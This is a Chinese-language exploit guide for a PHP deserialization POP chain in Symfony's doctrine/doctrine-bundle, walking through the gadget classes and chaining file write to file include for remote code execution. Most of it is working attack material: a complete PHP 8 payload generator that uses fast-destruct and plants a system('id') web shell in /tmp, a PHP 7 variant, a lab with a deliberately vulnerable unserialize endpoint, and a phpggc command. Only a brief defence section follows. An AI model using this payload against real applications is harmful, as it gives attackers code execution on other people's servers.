Symfony应用程序POP链攻击分析与利用指南
1. 概述
本文详细分析Symfony框架中doctrine/doctrine-bundle组件的POP链(Property-Oriented Programming chain)反序列化漏洞。该漏洞允许攻击者通过精心构造的序列化数据实现任意文件写入和文件包含,最终导致远程代码执行(RCE)。
2. 漏洞背景
2.1 受影响组件
- 组件:
doctrine/doctrine-bundle - 影响版本: 自1.5.1版本以来的所有版本
- 下载量: 超过1.44亿次(统计至文章发布时)
2.2 漏洞类型
- 反序列化漏洞
- POP链攻击
2.3 利用条件
- 应用程序存在反序列化用户可控数据的入口点
- 使用受影响版本的
doctrine/doctrine-bundle
3. POP链分析
3.1 核心组件
3.1.1 CacheAdapter类
位于Doctrine\Common\Cache\Psr6\CacheAdapter,是实现CacheItemPoolInterface的类,包含以下关键属性:
private $cache;
private $deferredItems = [];
3.1.2 TypedCacheItem/CacheItem类
TypedCacheItem: PHP 8兼容CacheItem: PHP 7兼容
关键属性:
private ?float $expiry = null;
private $value;
3.1.3 MockFileSessionStorage类
位于Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage,用于文件写入。
3.1.4 PhpArrayAdapter类
位于Symfony\Component\Cache\Adapter\PhpArrayAdapter,用于文件包含。
3.2 POP链构造步骤
第一步: 触发CacheAdapter的commit方法
通过反序列化CacheAdapter对象并设置deferredItems属性来触发__destruct()方法,进而调用commit()。
关键点:
deferredItems必须为非空数组- 数组元素必须是
TypedCacheItem(PHP 8)或CacheItem(PHP 7)
第二步: 控制执行流
通过设置expiry值控制执行分支:
- 当前时间 <
expiry: 调用save()方法 - 当前时间 >
expiry: 调用delete()方法
第三步: 任意文件写入
通过将cache属性设置为MockFileSessionStorage对象实现文件写入:
$mockSessionStorage = new MockFileSessionStorage();
$mockSessionStorage->started = true;
$mockSessionStorage->savePath = "/tmp"; // 目标路径
$mockSessionStorage->id = "aaa"; // 文件名(附加.mocksess扩展)
$mockSessionStorage->data = ['<?php system("id"); ?>']; // 写入内容
$mockSessionStorage->metadataBag = new MetadataBag(); // 必需
第四步: 任意文件包含
通过将cache属性设置为PhpArrayAdapter对象实现文件包含:
$phpArrayAdapter = new PhpArrayAdapter();
$phpArrayAdapter->file = "/tmp/aaa.mocksess"; // 包含之前写入的文件
第五步: 联合两条链
使用"快速析构"(Fast destruct)技术在一次反序列化中同时触发两条链:
$obj = [
1000 => $obj_write, // 文件写入链
1001 => 1,
2000 => $obj_include, // 文件包含链
2001 => 1
];
4. 完整利用代码
4.1 PHP 8版本利用代码
<?php
namespace Doctrine\Common\Cache\Psr6 {
class CacheAdapter { public $deferredItems = true; }
class TypedCacheItem {
public $expiry = 99999999999999999;
public $value = "test";
}
}
namespace Symfony\Component\HttpFoundation\Session\Storage {
class MockFileSessionStorage {
public $started = true;
public $savePath = "/tmp";
public $id = "aaa";
public $data = ['<?php echo "I was TRIGGERED"; system("id"); ?>'];
}
class MetadataBag { public $storageKey = "a"; }
}
namespace Symfony\Component\Cache\Adapter {
class PhpArrayAdapter { public $file = "/tmp/aaa.mocksess"; }
}
namespace PopChain {
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;
use Symfony\Component\HttpFoundation\Session\Storage\MetadataBag;
use Symfony\Component\Cache\Adapter\PhpArrayAdapter;
// 文件写入链
$obj_write = new CacheAdapter();
$obj_write->deferredItems = [new TypedCacheItem()];
$mockSessionStorage = new MockFileSessionStorage();
$mockSessionStorage->metadataBag = new MetadataBag();
$obj_write->cache = $mockSessionStorage;
// 文件包含链
$obj_include = new CacheAdapter();
$obj_include->cache = new PhpArrayAdapter();
$typedCacheItem = new TypedCacheItem();
$typedCacheItem->expiry = 0; // 必须设置为0以触发不同分支
$obj_include->deferredItems = [$typedCacheItem];
// 快速析构构造
$obj = [1000 => $obj_write, 1001 => 1, 2000 => $obj_include, 2001 => 1];
$serialized_string = serialize($obj);
// 设置快速析构索引
$find_write = ('#i:(' . 1001 . '|' . (1001 + 1) . ');#');
$replace_write = 'i:' . 1000 . ';';
$serialized_string2 = preg_replace($find_write, $replace_write, $serialized_string);
$find_include = ('#i:(' . 2001 . '|' . (2001 + 1) . ');#');
$replace_include = 'i:' . 2000 . ';';
echo preg_replace($find_include, $replace_include, $serialized_string2);
}
4.2 PHP 7版本差异
PHP 7需要使用CacheItem而非TypedCacheItem:
if (preg_match('/^7/', phpversion())) {
$cacheItem = new CacheItem();
} else {
$cacheItem = new TypedCacheItem();
}
5. 漏洞利用演示
5.1 环境搭建
docker run -it -p 8000:80 php:8.1-apache /bin/bash
apt update && apt install wget git unzip libzip-dev
wget https://getcomposer.org/installer -O composer-setup.php
php composer-setup.php
mv composer.phar /usr/local/bin/composer
a2enmod rewrite
cd /var/www
composer create-project symfony/skeleton:"6.2.*" html
composer require symfony/maker-bundle --dev
php bin/console make:controller UnserializeController
composer require symfony/apache-pack
composer require doctrine/orm
composer require doctrine/doctrine-bundle
service apache2 start
5.2 漏洞验证
创建反序列化端点:
#[Route('/unserialize')]
public function index(): JsonResponse {
if (isset($_GET['data'])){
unserialize(base64_decode($_GET['data']));
}
return $this->json(['message' => 'Send data with data param']);
}
使用phpggc生成payload:
phpggc Doctrine/rce1 'system("id");'
6. 防御措施
-
输入验证:
- 避免反序列化用户提供的不可信数据
- 使用
allowed_classes参数限制可反序列化的类
-
替代方案:
- 使用JSON等更安全的序列化格式
- 实现自定义的序列化/反序列化逻辑
-
更新组件:
- 关注官方安全更新并及时升级
-
最小权限原则:
- 限制Web服务器的文件系统写入权限
7. 总结
本POP链展示了如何通过精心构造的序列化数据利用Symfony框架中的doctrine/doctrine-bundle组件实现远程代码执行。攻击分为两个阶段:首先通过MockFileSessionStorage写入恶意文件,然后通过PhpArrayAdapter包含该文件执行代码。
此漏洞再次证明了PHP反序列化操作的危险性,特别是在处理用户可控数据时。开发者应当避免直接反序列化用户输入,或至少严格限制可反序列化的类。